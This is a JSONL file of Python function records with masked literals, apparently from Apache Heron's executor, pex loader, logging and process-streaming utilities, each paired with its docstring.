{"signature": "def _get_metricsmgr_cmd(self, metricsManagerId, sink_config_file, port):", "body": "metricsmgr_main_class = '<STR_LIT>'<EOL>metricsmgr_cmd = [os.path.join(self.heron_java_home, '<STR_LIT>'),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>self.metrics_manager_classpath,<EOL>metricsmgr_main_class,<EOL>'<STR_LIT>' + metricsManagerId,<EOL>'<STR_LIT>' + str(port),<EOL>'<STR_LIT>' + self.topology_name,<EOL>'<STR_LIT>' + self.cluster,<EOL>'<STR_LIT>' + self.role,<EOL>'<STR_LIT>' + self.environment,<EOL>'<STR_LIT>' + self.topology_id,<EOL>'<STR_LIT>' + self.heron_internals_config_file,<EOL>'<STR_LIT>' + self.override_config_file,<EOL>'<STR_LIT>' + sink_config_file]<EOL>return Command(metricsmgr_cmd, self.shell_env)<EOL>", "docstring": "get the command to start the metrics manager processes", "id": "f7494:c2:m7"}
{"signature": "def _get_metrics_cache_cmd(self):", "body": "metricscachemgr_main_class = '<STR_LIT>'<EOL>metricscachemgr_cmd = [os.path.join(self.heron_java_home, '<STR_LIT>'),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>self.metricscache_manager_classpath,<EOL>metricscachemgr_main_class,<EOL>\"<STR_LIT>\", '<STR_LIT>',<EOL>\"<STR_LIT>\", self.metricscache_manager_master_port,<EOL>\"<STR_LIT>\", self.metricscache_manager_stats_port,<EOL>\"<STR_LIT>\", self.topology_name,<EOL>\"<STR_LIT>\", self.topology_id,<EOL>\"<STR_LIT>\", self.heron_internals_config_file,<EOL>\"<STR_LIT>\", self.override_config_file,<EOL>\"<STR_LIT>\", self.metrics_sinks_config_file,<EOL>\"<STR_LIT>\", self.cluster,<EOL>\"<STR_LIT>\", self.role,<EOL>\"<STR_LIT>\", self.environment]<EOL>return Command(metricscachemgr_cmd, self.shell_env)<EOL>", "docstring": "get the command to start the metrics manager processes", "id": "f7494:c2:m8"}
{"signature": "def _get_healthmgr_cmd(self):", "body": "healthmgr_main_class = '<STR_LIT>'<EOL>healthmgr_cmd = [os.path.join(self.heron_java_home, '<STR_LIT>'),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', self.health_manager_classpath,<EOL>healthmgr_main_class,<EOL>\"<STR_LIT>\", self.cluster,<EOL>\"<STR_LIT>\", self.role,<EOL>\"<STR_LIT>\", self.environment,<EOL>\"<STR_LIT>\", self.topology_name,<EOL>\"<STR_LIT>\", self.metrics_manager_port]<EOL>return Command(healthmgr_cmd, self.shell_env)<EOL>", "docstring": "get the command to start the topology health manager processes", "id": "f7494:c2:m9"}
{"signature": "def _get_tmaster_processes(self):", "body": "retval = {}<EOL>tmaster_cmd_lst = [<EOL>self.tmaster_binary,<EOL>'<STR_LIT>' % self.topology_name,<EOL>'<STR_LIT>' % self.topology_id,<EOL>'<STR_LIT>' % self.state_manager_connection,<EOL>'<STR_LIT>' % self.state_manager_root,<EOL>'<STR_LIT>' % self.master_host,<EOL>'<STR_LIT>' % str(self.master_port),<EOL>'<STR_LIT>' % str(self.tmaster_controller_port),<EOL>'<STR_LIT>' % str(self.tmaster_stats_port),<EOL>'<STR_LIT>' % self.heron_internals_config_file,<EOL>'<STR_LIT>' % self.override_config_file,<EOL>'<STR_LIT>' % self.metrics_sinks_config_file,<EOL>'<STR_LIT>' % str(self.metrics_manager_port),<EOL>'<STR_LIT>' % str(self.checkpoint_manager_port)]<EOL>tmaster_env = self.shell_env.copy() if self.shell_env is not None else {}<EOL>tmaster_cmd = Command(tmaster_cmd_lst, tmaster_env)<EOL>if os.environ.get('<STR_LIT>') is not None:<EOL><INDENT>tmaster_cmd.env.update({<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>retval[\"<STR_LIT>\"] = tmaster_cmd<EOL>if self.metricscache_manager_mode.lower() != \"<STR_LIT>\":<EOL><INDENT>retval[\"<STR_LIT>\"] = self._get_metrics_cache_cmd()<EOL><DEDENT>if self.health_manager_mode.lower() != \"<STR_LIT>\":<EOL><INDENT>retval[\"<STR_LIT>\"] = self._get_healthmgr_cmd()<EOL><DEDENT>retval[self.metricsmgr_ids[<NUM_LIT:0>]] = self._get_metricsmgr_cmd(<EOL>self.metricsmgr_ids[<NUM_LIT:0>],<EOL>self.metrics_sinks_config_file,<EOL>self.metrics_manager_port)<EOL>if self.is_stateful_topology:<EOL><INDENT>retval.update(self._get_ckptmgr_process())<EOL><DEDENT>return retval<EOL>", "docstring": "get the command to start the tmaster processes", "id": "f7494:c2:m10"}
{"signature": "def _get_streaming_processes(self):", "body": "retval = {}<EOL>instance_plans = self._get_instance_plans(self.packing_plan, self.shard)<EOL>instance_info = []<EOL>for instance_plan in instance_plans:<EOL><INDENT>global_task_id = instance_plan.task_id<EOL>component_index = instance_plan.component_index<EOL>component_name = instance_plan.component_name<EOL>instance_id = \"<STR_LIT>\" % (str(self.shard), component_name, global_task_id)<EOL>instance_info.append((instance_id, component_name, global_task_id, component_index))<EOL><DEDENT>stmgr_cmd_lst = [<EOL>self.stmgr_binary,<EOL>'<STR_LIT>' % self.topology_name,<EOL>'<STR_LIT>' % self.topology_id,<EOL>'<STR_LIT>' % self.topology_defn_file,<EOL>'<STR_LIT>' % self.state_manager_connection,<EOL>'<STR_LIT>' % self.state_manager_root,<EOL>'<STR_LIT>' % self.stmgr_ids[self.shard],<EOL>'<STR_LIT>' % '<STR_LIT:U+002C>'.join([x[<NUM_LIT:0>] for x in instance_info]),<EOL>'<STR_LIT>' % self.master_host,<EOL>'<STR_LIT>' % str(self.master_port),<EOL>'<STR_LIT>' % str(self.tmaster_controller_port),<EOL>'<STR_LIT>' % str(self.metrics_manager_port),<EOL>'<STR_LIT>' % str(self.shell_port),<EOL>'<STR_LIT>' % self.heron_internals_config_file,<EOL>'<STR_LIT>' % self.override_config_file,<EOL>'<STR_LIT>' % str(self.checkpoint_manager_port),<EOL>'<STR_LIT>' % self.ckptmgr_ids[self.shard],<EOL>'<STR_LIT>' % self.metricscache_manager_mode.lower()]<EOL>stmgr_env = self.shell_env.copy() if self.shell_env is not None else {}<EOL>stmgr_cmd = Command(stmgr_cmd_lst, stmgr_env)<EOL>if os.environ.get('<STR_LIT>') is not None:<EOL><INDENT>stmgr_cmd.env.update({<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\"<EOL>})<EOL><DEDENT>retval[self.stmgr_ids[self.shard]] = stmgr_cmd<EOL>retval[self.metricsmgr_ids[self.shard]] = self._get_metricsmgr_cmd(<EOL>self.metricsmgr_ids[self.shard],<EOL>self.metrics_sinks_config_file,<EOL>self.metrics_manager_port<EOL>)<EOL>if self.is_stateful_topology:<EOL><INDENT>retval.update(self._get_ckptmgr_process())<EOL><DEDENT>if self.pkg_type == '<STR_LIT>' or self.pkg_type == '<STR_LIT>':<EOL><INDENT>retval.update(self._get_java_instance_cmd(instance_info))<EOL><DEDENT>elif self.pkg_type == '<STR_LIT>':<EOL><INDENT>retval.update(self._get_python_instance_cmd(instance_info))<EOL><DEDENT>elif self.pkg_type == '<STR_LIT>':<EOL><INDENT>retval.update(self._get_cpp_instance_cmd(instance_info))<EOL><DEDENT>elif self.pkg_type == '<STR_LIT>':<EOL><INDENT>retval.update(self._get_cpp_instance_cmd(instance_info))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.pkg_type)<EOL><DEDENT>return retval<EOL>", "docstring": "Returns the processes to handle streams, including the stream-mgr and the user code containing\nthe stream logic of the topology", "id": "f7494:c2:m18"}
{"signature": "def _get_ckptmgr_process(self):", "body": "ckptmgr_main_class = '<STR_LIT>'<EOL>ckptmgr_ram_mb = self.checkpoint_manager_ram / (<NUM_LIT> * <NUM_LIT>)<EOL>ckptmgr_cmd = [os.path.join(self.heron_java_home, \"<STR_LIT>\"),<EOL>'<STR_LIT>' % ckptmgr_ram_mb,<EOL>'<STR_LIT>' % ckptmgr_ram_mb,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>self.checkpoint_manager_classpath,<EOL>ckptmgr_main_class,<EOL>'<STR_LIT>' + self.topology_name,<EOL>'<STR_LIT>' + self.topology_id,<EOL>'<STR_LIT:-c>' + self.ckptmgr_ids[self.shard],<EOL>'<STR_LIT>' + self.checkpoint_manager_port,<EOL>'<STR_LIT>' + self.stateful_config_file,<EOL>'<STR_LIT>' + self.override_config_file,<EOL>'<STR_LIT>' + self.heron_internals_config_file]<EOL>retval = {}<EOL>retval[self.ckptmgr_ids[self.shard]] = Command(ckptmgr_cmd, self.shell_env)<EOL>return retval<EOL>", "docstring": "Get the command to start the checkpoint manager process", "id": "f7494:c2:m19"}
{"signature": "def _get_instance_plans(self, packing_plan, container_id):", "body": "this_container_plan = None<EOL>for container_plan in packing_plan.container_plans:<EOL><INDENT>if container_plan.id == container_id:<EOL><INDENT>this_container_plan = container_plan<EOL><DEDENT><DEDENT>if this_container_plan is None:<EOL><INDENT>return None<EOL><DEDENT>return this_container_plan.instance_plans<EOL>", "docstring": "For the given packing_plan, return the container plan with the given container_id. If protobufs\nsupported maps, we could just get the plan by id, but it doesn't so we have a collection of\ncontainers to iterate over.", "id": "f7494:c2:m20"}
{"signature": "def _get_heron_support_processes(self):", "body": "retval = {}<EOL>retval[self.heron_shell_ids[self.shard]] = Command([<EOL>'<STR_LIT:%s>' % self.heron_shell_binary,<EOL>'<STR_LIT>' % self.shell_port,<EOL>'<STR_LIT>' % (self.log_dir, self.shard),<EOL>'<STR_LIT>' % self.topology_id], self.shell_env)<EOL>return retval<EOL>", "docstring": "Get a map from all daemon services' name to the command to start them", "id": "f7494:c2:m21"}
{"signature": "def _wait_process_std_out_err(self, name, process):", "body": "proc.stream_process_stdout(process, stdout_log_fn(name))<EOL>process.wait()<EOL>", "docstring": "Wait for the termination of a process and log its stdout & stderr", "id": "f7494:c2:m23"}
{"signature": "def _start_processes(self, commands):", "body": "Log.info(\"<STR_LIT>\")<EOL>processes_to_monitor = {}<EOL>for (name, command) in list(commands.items()):<EOL><INDENT>p = self._run_process(name, command)<EOL>processes_to_monitor[p.pid] = ProcessInfo(p, name, command)<EOL>log_pid_for_process(name, p.pid)<EOL><DEDENT>with self.process_lock:<EOL><INDENT>self.processes_to_monitor.update(processes_to_monitor)<EOL><DEDENT>", "docstring": "Start all commands and add them to the dict of processes to be monitored", "id": "f7494:c2:m27"}
{"signature": "def start_process_monitor(self):", "body": "<EOL>Log.info(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>if len(self.processes_to_monitor) > <NUM_LIT:0>:<EOL><INDENT>(pid, status) = os.wait()<EOL>with self.process_lock:<EOL><INDENT>if pid in list(self.processes_to_monitor.keys()):<EOL><INDENT>old_process_info = self.processes_to_monitor[pid]<EOL>name = old_process_info.name<EOL>command = old_process_info.command<EOL>Log.info(\"<STR_LIT>\" % (name, pid, status, command))<EOL>self._wait_process_std_out_err(name, old_process_info.process)<EOL>if os.path.isfile(\"<STR_LIT>\" % pid):<EOL><INDENT>os.system(\"<STR_LIT>\" % pid)<EOL><DEDENT>if old_process_info.attempts >= self.max_runs:<EOL><INDENT>Log.info(\"<STR_LIT>\" % name)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>time.sleep(self.interval_between_runs)<EOL>p = self._run_process(name, command)<EOL>del self.processes_to_monitor[pid]<EOL>self.processes_to_monitor[p.pid] =ProcessInfo(p, name, command, old_process_info.attempts + <NUM_LIT:1>)<EOL>log_pid_for_process(name, p.pid)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Monitor all processes in processes_to_monitor dict,\n        restarting any if they fail, up to max_runs times.", "id": "f7494:c2:m28"}
{"signature": "def get_commands_to_run(self):", "body": "<EOL>if len(self.packing_plan.container_plans) == <NUM_LIT:0>:<EOL><INDENT>return {}<EOL><DEDENT>if self._get_instance_plans(self.packing_plan, self.shard) is None and self.shard != <NUM_LIT:0>:<EOL><INDENT>retval = {}<EOL>retval['<STR_LIT>'] = Command([<EOL>'<STR_LIT:%s>' % self.heron_shell_binary,<EOL>'<STR_LIT>' % self.shell_port,<EOL>'<STR_LIT>' % (self.log_dir, self.shard),<EOL>'<STR_LIT>' % self.topology_id], self.shell_env)<EOL>return retval<EOL><DEDENT>if self.shard == <NUM_LIT:0>:<EOL><INDENT>commands = self._get_tmaster_processes()<EOL><DEDENT>else:<EOL><INDENT>self._untar_if_needed()<EOL>commands = self._get_streaming_processes()<EOL><DEDENT>commands.update(self._get_heron_support_processes())<EOL>return commands<EOL>", "docstring": "Prepare either TMaster or Streaming commands according to shard.\nThe Shell command is attached to all containers. The empty container plan and non-exist\ncontainer plan are bypassed.", "id": "f7494:c2:m29"}
{"signature": "def get_command_changes(self, current_commands, updated_commands):", "body": "commands_to_kill = {}<EOL>commands_to_keep = {}<EOL>commands_to_start = {}<EOL>for current_name, current_command in list(current_commands.items()):<EOL><INDENT>if current_name in list(updated_commands.keys()) andcurrent_command == updated_commands[current_name] andnot current_name.startswith('<STR_LIT>'):<EOL><INDENT>commands_to_keep[current_name] = current_command<EOL><DEDENT>else:<EOL><INDENT>commands_to_kill[current_name] = current_command<EOL><DEDENT><DEDENT>for updated_name, updated_command in list(updated_commands.items()):<EOL><INDENT>if updated_name not in list(commands_to_keep.keys()):<EOL><INDENT>commands_to_start[updated_name] = updated_command<EOL><DEDENT><DEDENT>return commands_to_kill, commands_to_keep, commands_to_start<EOL>", "docstring": "Compares the current command with updated command to return a 3-tuple of dicts,\nkeyed by command name: commands_to_kill, commands_to_keep and commands_to_start.", "id": "f7494:c2:m30"}
{"signature": "def launch(self):", "body": "with self.process_lock:<EOL><INDENT>current_commands = dict(list(map((lambda process: (process.name, process.command)),<EOL>list(self.processes_to_monitor.values()))))<EOL>updated_commands = self.get_commands_to_run()<EOL>commands_to_kill, commands_to_keep, commands_to_start =self.get_command_changes(current_commands, updated_commands)<EOL>Log.info(\"<STR_LIT>\" % sorted(current_commands.keys()))<EOL>Log.info(\"<STR_LIT>\" % sorted(updated_commands.keys()))<EOL>Log.info(\"<STR_LIT>\" % sorted(commands_to_kill.keys()))<EOL>Log.info(\"<STR_LIT>\" % sorted(commands_to_keep.keys()))<EOL>Log.info(\"<STR_LIT>\" % sorted(commands_to_start.keys()))<EOL>self._kill_processes(commands_to_kill)<EOL>self._start_processes(commands_to_start)<EOL>Log.info(\"<STR_LIT>\" %<EOL>(len(commands_to_kill), len(commands_to_keep),<EOL>len(commands_to_start), len(self.processes_to_monitor)))<EOL><DEDENT>", "docstring": "Determines the commands to be run and compares them with the existing running commands.\n        Then starts new ones required and kills old ones no longer required.", "id": "f7494:c2:m31"}
{"signature": "def start_state_manager_watches(self):", "body": "Log.info(\"<STR_LIT>\")<EOL>statemgr_config = StateMgrConfig()<EOL>statemgr_config.set_state_locations(configloader.load_state_manager_locations(<EOL>self.cluster, state_manager_config_file=self.state_manager_config_file,<EOL>overrides={\"<STR_LIT>\": self.state_manager_connection}))<EOL>try:<EOL><INDENT>self.state_managers = statemanagerfactory.get_all_state_managers(statemgr_config)<EOL>for state_manager in self.state_managers:<EOL><INDENT>state_manager.start()<EOL><DEDENT><DEDENT>except Exception as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\" % ex)<EOL>traceback.print_exc()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>def on_packing_plan_watch(state_manager, new_packing_plan):<EOL><INDENT>Log.debug(\"<STR_LIT>\" %<EOL>(self.shard, str(self.packing_plan), str(new_packing_plan)))<EOL>if self.packing_plan != new_packing_plan:<EOL><INDENT>Log.info(\"<STR_LIT>\"<EOL>% self.shard)<EOL>self.update_packing_plan(new_packing_plan)<EOL>Log.info(\"<STR_LIT>\")<EOL>self.launch()<EOL><DEDENT>else:<EOL><INDENT>Log.info(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>for state_manager in self.state_managers:<EOL><INDENT>onPackingPlanWatch = functools.partial(on_packing_plan_watch, state_manager)<EOL>state_manager.get_packing_plan(self.topology_name, onPackingPlanWatch)<EOL>Log.info(\"<STR_LIT>\" %<EOL>str(state_manager))<EOL><DEDENT>", "docstring": "Receive updates to the packing plan from the statemgrs and update processes as needed.", "id": "f7494:c2:m32"}
{"signature": "def _get_deps_list(abs_path_to_pex):", "body": "pex = zipfile.ZipFile(abs_path_to_pex, mode='<STR_LIT:r>')<EOL>deps = list(set([re.match(egg_regex, i).group(<NUM_LIT:1>) for i in pex.namelist()<EOL>if re.match(egg_regex, i) is not None]))<EOL>return deps<EOL>", "docstring": "Get a list of paths to included dependencies in the specified pex file\n\n    Note that dependencies are located under `.deps` directory", "id": "f7498:m0"}
{"signature": "def load_pex(path_to_pex, include_deps=True):", "body": "abs_path_to_pex = os.path.abspath(path_to_pex)<EOL>Log.debug(\"<STR_LIT>\" % abs_path_to_pex)<EOL>if abs_path_to_pex not in sys.path:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, os.path.dirname(abs_path_to_pex))<EOL><DEDENT>if include_deps:<EOL><INDENT>for dep in _get_deps_list(abs_path_to_pex):<EOL><INDENT>to_join = os.path.join(os.path.dirname(abs_path_to_pex), dep)<EOL>if to_join not in sys.path:<EOL><INDENT>Log.debug(\"<STR_LIT>\" % dep)<EOL>sys.path.insert(<NUM_LIT:0>, to_join)<EOL><DEDENT><DEDENT><DEDENT>Log.debug(\"<STR_LIT>\" % str(sys.path))<EOL>", "docstring": "Loads pex file and its dependencies to the current python path", "id": "f7498:m1"}
{"signature": "def resolve_heron_suffix_issue(abs_pex_path, class_path):", "body": "<EOL>importer = zipimport.zipimporter(abs_pex_path)<EOL>importer.load_module(\"<STR_LIT>\")<EOL>to_load_lst = class_path.split('<STR_LIT:.>')[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>loaded = ['<STR_LIT>']<EOL>loaded_mod = None<EOL>for to_load in to_load_lst:<EOL><INDENT>sub_importer = zipimport.zipimporter(os.path.join(abs_pex_path, '<STR_LIT:/>'.join(loaded)))<EOL>loaded_mod = sub_importer.load_module(to_load)<EOL>loaded.append(to_load)<EOL><DEDENT>return loaded_mod<EOL>", "docstring": "Resolves duplicate package suffix problems\n\n    When dynamically loading a pex file and a corresponding python class (bolt/spout/topology),\n    if the top level package in which to-be-loaded classes reside is named 'heron', the path conflicts\n    with this Heron Instance pex package (heron.instance.src.python...), making the Python\n    interpreter unable to find the target class in a given pex file.\n    This function resolves this issue by individually loading packages with suffix `heron` to\n    avoid this issue.\n\n    However, if a dependent module/class that is not directly specified under ``class_path``\n    and has conflicts with other native heron packages, there is a possibility that\n    such a class/module might not be imported correctly. For example, if a given ``class_path`` was\n    ``heron.common.src.module.Class``, but it has a dependent module (such as by import statement),\n    ``heron.common.src.python.dep_module.DepClass`` for example, pex_loader does not guarantee that\n    ``DepClass` is imported correctly. This is because ``heron.common.src.python.dep_module`` is not\n    explicitly added to sys.path, while ``heron.common.src.python`` module exists as the native heron\n    package, from which ``dep_module`` cannot be found, so Python interpreter may raise ImportError.\n\n    The best way to avoid this issue is NOT to dynamically load a pex file whose top level package\n    name is ``heron``. Note that this method is included because some of the example topologies and\n    tests have to have a pex with its top level package name of ``heron``.", "id": "f7498:m2"}
{"signature": "def import_and_get_class(path_to_pex, python_class_name):", "body": "abs_path_to_pex = os.path.abspath(path_to_pex)<EOL>Log.debug(\"<STR_LIT>\" % abs_path_to_pex)<EOL>Log.debug(\"<STR_LIT>\" % python_class_name)<EOL>split = python_class_name.split('<STR_LIT:.>')<EOL>from_path = '<STR_LIT:.>'.join(split[:-<NUM_LIT:1>])<EOL>import_name = python_class_name.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>Log.debug(\"<STR_LIT>\" % (from_path, import_name))<EOL>if python_class_name.startswith(\"<STR_LIT>\"):<EOL><INDENT>try:<EOL><INDENT>mod = resolve_heron_suffix_issue(abs_path_to_pex, python_class_name)<EOL>return getattr(mod, import_name)<EOL><DEDENT>except:<EOL><INDENT>Log.error(\"<STR_LIT>\" % python_class_name)<EOL><DEDENT><DEDENT>mod = __import__(from_path, fromlist=[import_name], level=-<NUM_LIT:1>)<EOL>Log.debug(\"<STR_LIT>\" % str(mod))<EOL>return getattr(mod, import_name)<EOL>", "docstring": "Imports and load a class from a given pex file path and python class name\n\n    For example, if you want to get a class called `Sample` in\n    /some-path/sample.pex/heron/examples/src/python/sample.py,\n    ``path_to_pex`` needs to be ``/some-path/sample.pex``, and\n    ``python_class_name`` needs to be ``heron.examples.src.python.sample.Sample``", "id": "f7498:m3"}
{"signature": "def configure(level=logging.INFO, logfile=None):", "body": "<EOL>for handler in Log.handlers:<EOL><INDENT>if isinstance(handler, logging.StreamHandler):<EOL><INDENT>Log.handlers.remove(handler)<EOL><DEDENT><DEDENT>Log.setLevel(level)<EOL>if logfile is not None:<EOL><INDENT>log_format = \"<STR_LIT>\"<EOL>formatter = logging.Formatter(fmt=log_format, datefmt=date_format)<EOL>file_handler = logging.FileHandler(logfile)<EOL>file_handler.setFormatter(formatter)<EOL>Log.addHandler(file_handler)<EOL><DEDENT>else:<EOL><INDENT>log_format = \"<STR_LIT>\"<EOL>formatter = colorlog.ColoredFormatter(fmt=log_format, datefmt=date_format)<EOL>stream_handler = logging.StreamHandler()<EOL>stream_handler.setFormatter(formatter)<EOL>Log.addHandler(stream_handler)<EOL><DEDENT>", "docstring": "Configure logger which dumps log on terminal\n\n    :param level: logging level: info, warning, verbose...\n    :type level: logging level\n    :param logfile: log file name, default to None\n    :type logfile: string\n    :return: None\n    :rtype: None", "id": "f7499:m0"}
{"signature": "def init_rotating_logger(level, logfile, max_files, max_bytes):", "body": "logging.basicConfig()<EOL>root_logger = logging.getLogger()<EOL>log_format = \"<STR_LIT>\"<EOL>root_logger.setLevel(level)<EOL>handler = RotatingFileHandler(logfile, maxBytes=max_bytes, backupCount=max_files)<EOL>handler.setFormatter(logging.Formatter(fmt=log_format, datefmt=date_format))<EOL>root_logger.addHandler(handler)<EOL>for handler in root_logger.handlers:<EOL><INDENT>root_logger.debug(\"<STR_LIT>\" + str(handler))<EOL>if isinstance(handler, logging.StreamHandler):<EOL><INDENT>root_logger.debug(\"<STR_LIT>\" + str(handler))<EOL>root_logger.handlers.remove(handler)<EOL><DEDENT><DEDENT>", "docstring": "Initializes a rotating logger\n\n    It also makes sure that any StreamHandler is removed, so as to avoid stdout/stderr\n    constipation issues", "id": "f7499:m1"}
{"signature": "def set_logging_level(cl_args):", "body": "if '<STR_LIT>' in cl_args and cl_args['<STR_LIT>']:<EOL><INDENT>configure(logging.DEBUG)<EOL><DEDENT>else:<EOL><INDENT>configure(logging.INFO)<EOL><DEDENT>", "docstring": "simply set verbose level based on command-line args\n\n    :param cl_args: CLI arguments\n    :type cl_args: dict\n    :return: None\n    :rtype: None", "id": "f7499:m2"}
{"signature": "def _stream_process_fileno(fileno, handler):", "body": "while <NUM_LIT:1>:<EOL><INDENT>line = fileno.readline()<EOL>handler(line)<EOL>if not line:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Stream handling each line from fileno\n    :param filno: file object\n    :param handler: a function that will be called for each line from fileno\n    :return: None", "id": "f7501:m0"}
{"signature": "def stream_process_stdout(process, handler):", "body": "_stream_process_fileno(process.stdout, handler)<EOL>", "docstring": "Stream the stdout for a process out to display\n    :param process: the process to stream the stdout for\n    :param handler: a function that will be called for each stdout line\n    :return: None", "id": "f7501:m1"}
{"signature": "def stream_process_stderr(process, handler):", "body": "_stream_process_fileno(process.stderr, handler)<EOL>", "docstring": "Stream the stderr for a process out to display\n    :param process: the process to stream the stderr for\n    :param handler: a function that will be called for each stderr line\n    :return: None", "id": "f7501:m2"}
{"signature": "def _async_stream_process_output(process, stream_fn, handler):", "body": "logging_thread = Thread(target=stream_fn, args=(process, handler, ))<EOL>logging_thread.daemon = True<EOL>logging_thread.start()<EOL>return logging_thread<EOL>", "docstring": "Stream and handle the output of a process\n    :param process: the process to stream the output for\n    :param stream_fn: the function that applies handler to process\n    :param handler: a function that will be called for each log line\n    :return: None", "id": "f7501:m3"}
{"signature": "def async_stream_process_stdout(process, handler):", "body": "return _async_stream_process_output(process, stream_process_stdout, handler)<EOL>", "docstring": "Stream and handler the stdout of a process\n    :param process: the process to stream the stdout for\n    :param handler: a function that will be called to handle each line\n    :return: None", "id": "f7501:m4"}
{"signature": "def async_stream_process_stderr(process, handler):", "body": "return _async_stream_process_output(process, stream_process_stderr, handler)<EOL>", "docstring": "Stream and handler the stderr of a process\n    :param process: the process to stream the stderr for\n    :param handler: a function that will be called to handle each line\n    :return: None", "id": "f7501:m5"}
{"signature": "def async_stdout_builder(proc):", "body": "stdout_builder = StringBuilder()<EOL>async_stream_process_stdout(proc, stdout_builder.add)<EOL>return stdout_builder<EOL>", "docstring": "Save stdout into string builder\n    :param proc: the process to save stdout for\n    :return StringBuilder", "id": "f7501:m6"}
{"signature": "def async_stderr_builder(proc):", "body": "stderr_builder = StringBuilder()<EOL>async_stream_process_stderr(proc, stderr_builder.add)<EOL>return stderr_builder<EOL>", "docstring": "Save stderr into string builder\n    :param proc: the process to save stderr for\n    :return StringBuilder", "id": "f7501:m7"}
{"signature": "def async_stdout_stderr_builder(proc):", "body": "return async_stdout_builder(proc), async_stderr_builder(proc)<EOL>", "docstring": "Save stdout and stderr into string builders\n    :param proc: the process to save stdout and stderr for\n    :return (StringBuilder, StringBuilder)", "id": "f7501:m8"}
{"signature": "def tail(filename, n):", "body": "size = os.path.getsize(filename)<EOL>with open(filename, \"<STR_LIT:rb>\") as f:<EOL><INDENT>fm = mmap.mmap(f.fileno(), <NUM_LIT:0>, mmap.MAP_SHARED, mmap.PROT_READ)<EOL>try:<EOL><INDENT>for i in range(size - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if fm[i] == '<STR_LIT:\\n>':<EOL><INDENT>n -= <NUM_LIT:1><EOL>if n == -<NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return fm[i + <NUM_LIT:1> if i else <NUM_LIT:0>:].splitlines()<EOL><DEDENT>finally:<EOL><INDENT>fm.close()<EOL><DEDENT><DEDENT>", "docstring": "Returns last n lines from the filename. No exception handling", "id": "f7502:m0"}
{"signature": "def traverse(element, query, deep=False):", "body": "<EOL>part = query[<NUM_LIT:0>]<EOL>if not part:<EOL><INDENT>query = query[<NUM_LIT:1>:]<EOL>part = query[<NUM_LIT:0>]<EOL>deep = True<EOL><DEDENT>part, predicate = xpath_re.match(query[<NUM_LIT:0>]).groups()<EOL>for c in element._children:<EOL><INDENT>if part in ('<STR_LIT:*>', c.tagname) and c._match(predicate):<EOL><INDENT>if len(query) == <NUM_LIT:1>:<EOL><INDENT>yield c<EOL><DEDENT>else:<EOL><INDENT>for e in traverse(c, query[<NUM_LIT:1>:]):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>if deep:<EOL><INDENT>for e in traverse(c, query, deep=True):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Helper function to traverse an element tree rooted at element, yielding nodes matching the query.", "id": "f7505:m0"}
{"signature": "def parse_query(query):", "body": "parts = query.split('<STR_LIT:/>')<EOL>norm = []<EOL>for p in parts:<EOL><INDENT>p = p.strip()<EOL>if p:<EOL><INDENT>norm.append(p)<EOL><DEDENT>elif '<STR_LIT>' not in norm:<EOL><INDENT>norm.append('<STR_LIT>')<EOL><DEDENT><DEDENT>return norm<EOL>", "docstring": "Given a simplified XPath query string, returns an array of normalized query parts.", "id": "f7505:m1"}
